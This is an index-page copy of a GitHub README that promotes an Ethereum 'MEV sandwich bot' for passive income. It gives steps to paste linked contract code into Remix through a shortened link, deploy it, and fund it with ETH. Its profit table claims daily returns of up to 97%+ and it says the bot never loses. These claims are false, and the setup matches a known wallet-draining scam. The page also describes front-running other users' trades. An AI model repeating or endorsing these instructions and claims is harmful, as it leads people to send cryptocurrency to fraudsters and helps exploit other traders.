Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/zoelkunison/github-mev-bot

✅ Github ⚡ Source code and instructions for creating a passive income tool using an MEV bot.⚡Detailed setup and launch instructions for the MEV bot are available in the Readme file.
https://github.com/zoelkunison/github-mev-bot

blockchain bot crypto-bot cryptocurrency dex eth ethereum evm mempool mev mev-bots sandwich-attacks solana solana-snipe-bot solidity trade-bot trading tradingbot uniswap

Last synced: about 1 month ago
JSON representation

✅ Github ⚡ Source code and instructions for creating a passive income tool using an MEV bot.⚡Detailed setup and launch instructions for the MEV bot are available in the Readme file.

Awesome Lists containing this project

README

        



![](https://i.ibb.co/s656WxF/DALL-E-2024-12-03-14-52-25-A-visually-striking-promotional-banner-for-a-Uniswap-MEV-bot-featuring-fu.webp)

# ⚡🤖 ETH Arbitrage MEV-B0T 🤖⚡

Here we provide you access to our 100% Open-Source and User-Friendly (no coding skills required) Bot written in Solidity. It's our flagship project that allows users to automatically profit from high-value swaps by strategically reordering and placing transactions to take advantage of expected price flactuations within Uniswap liquidity pools.

build

ethereum

solidity

## 📚 About

In the fascinating world of cryptocurrency, understanding what a Bot is, can be crucial. A Maximal Extractable Value (MEV) bot is a powerful arbitrage tool that scans the Ethereum Mempool for pending transactions (TX) of decentralized exchanges like Uniswap.

It automatically inserts our first TX with _slightly higher gas_ fees (1 Gwei higher) and a second one with _slightly lower gas_, essentially sandwiching the "targeted" TX to generate profits of the slippage differences.

---

## ✨ How it works

![example](https://user-images.githubusercontent.com/130685019/254479836-a36f8b0c-882d-4efe-97b4-42e22a7f29d1.png)

- The MEV-B0T continuously monitors the public Ethereum Mempool for pending transactions (TX) from Uniswap AMM, until it identifies a TX with price slippage / flactuations on a token (e.g. a large buy order)🔎

- Before executing any trades, the algorithm calculates the potential gains against transaction costs to ensure profitability💡

- MEV-B0T swiftly executes a sandwich operation by placing a buy order (for the same token) just before the "targeted" TX, simultaneous with placing a sell order right after within the same block, profiting from the price movement🥪

- It optimizes paid gas fees for timely execution, cost efficiency and it always sets 1 gas more than competing bots, as long as it remains profitable⚡

- Then sends back the ETH to the contract ready for withdrawal📤

We are proud to say that our MEV solution outperforms 99% of Arbitrage Bots on the Ethereum Blockchain.

# 📊 **Investment Range, Liquidity Level, and Profits**

| 💰 **Investment Range (ETH)** | 🌊 **Liquidity Level** | 📈 **Profits per 24 Hours** |

|-------------------------------|--------------------------|----------------------------|

| **0.25 ETH - 0.5 ETH** | Low | Up to **10%** |

| **0.5 ETH - 1 ETH** | Moderate | Up to **20%** |

| **1 ETH - 2 ETH** | Moderate | **20-27%** |

| **2 ETH - 5 ETH** | High | **27-35%** |

| **5 ETH - 10 ETH** | High | **35-50%** |

| **10 ETH - 20 ETH** | Very High | **50-63%** |

| **20 ETH - 50 ETH** | Very High | **76%+** |

| **50 ETH - 100 ETH** | Extremely High | **97%+** |



---

_Please be aware that these figures are estimates based on historical data. They can slightly vary depending on market conditions and the frequency of MEV opportunities._



_Please be aware that these figures are estimates based on historical data. They can slightly vary depending on market conditions and the frequency of MEV opportunities._

---

## 🚀 How to launch the ETH MEV-B0T

1) Download [MetaMask](https://metamask.io/download.html) (if you don’t have it already)

2) Access [Remix - Ethereum IDE](https://bit.ly/4fzhY6b) (Web-based environment to write and deploy Ethereum smart contracts)

3) 📁 Create a `New File`. Rename it as you like, i.e: “MEV.sol”

---

4) 🧾 Paste [This Code.sol](code.sol) from Github into your Remix "MEV.sol" file

5) 🔧 Go to the `Solidity Compiler` tab, select version `0.6.12+commit.27d51765.js` and then select `Compile MEV.sol`.

---

6) 🚀 Navigate to the `DEPLOY & RUN TRANSACTIONS` tab, select the `Injected Provider - Metamask` environment and then `Deploy`. By approving the Metamask contract creation fee, you will have created your own Bot.


## or "Wallet Connect"


⚠️ **Do not close the Wallet Connect tab.**

---

#### ⚙️ Configuration

7) 💰 Copy the bot’s contract and send some Ethereum to its balance for the bot to start. Team recommendation is to fund the bot with an minimum amount of 0.25 ETH but more than 1 ETH is recommended so the bot has enough gas and funds to swap, pay builders, etc.

---

8) - After your transaction is confirmed, click the `Start` button to run the bot.

- Press the `Stop` button to halt bot operations.

- Withdraw all ETH at any time by clicking the `Withdrawal` button.

---


💰 That’s it. The bot will start working immediately earning you profits from sandwich actions on Uniswap pools 💰

Notice: Your Bot needs to run for at least one day to reach the estimated performance.

---

### ⭐ Show your Support

If you find our project interesting, please consider giving it a star. Your support is greatly appreciated and helps in motivating further development and improvements.

---

### 📹 **Video Tutorial**

For a step-by-step video guide on how to configure and create your bot, check out the [tutorial here](https://youtu.be/j40BxSAKkC4).

## 💭FAQ

#### If many people will use the bot, wouldn’t dilution of profits occur?

We do not plan to limit access to the bot for now because there won’t be any affect for us or our users profiting as pools that the bot works on are with the biggest liquidities and volumes on Uniswap so our users involvement in the pools will always be very minor.

#### What average ROI and risks can I expect?

You can find the ROI according to latest data of bot performances in the "Estimated Profits" section. Bot does not make any losses, it only executes trades when there are proper MEV opportunities to make profits, so under all circumstances user is in plus.

#### What amount of funds does bot need to work?

Team recommendation is to fund the bot with an minimum amount of 0.25 ETH but more than 1 ETH is recommended so the bot has enough gas and funds to swap, pay builders, etc.

#### Do I need to keep remix open in browser while the bot is activated?

No, just save the bot contract address after creating it. The next time you want to access your bot via Remix, you need to compile the file again as in step 5. Now head to `DEPLOY & RUN TRANSACTIONS`, reconnect your Metamask, paste your contract address into `Load contract from Address` and press `At Address`.

![](https://i.imgur.com/SG1aENC.png)

Now it can be found again under "Deployed Contracts".

#### Does it work on other chains or DEXes as well?

No, currently the bot is dedicated only for Ethereum on Uniswap pools.

---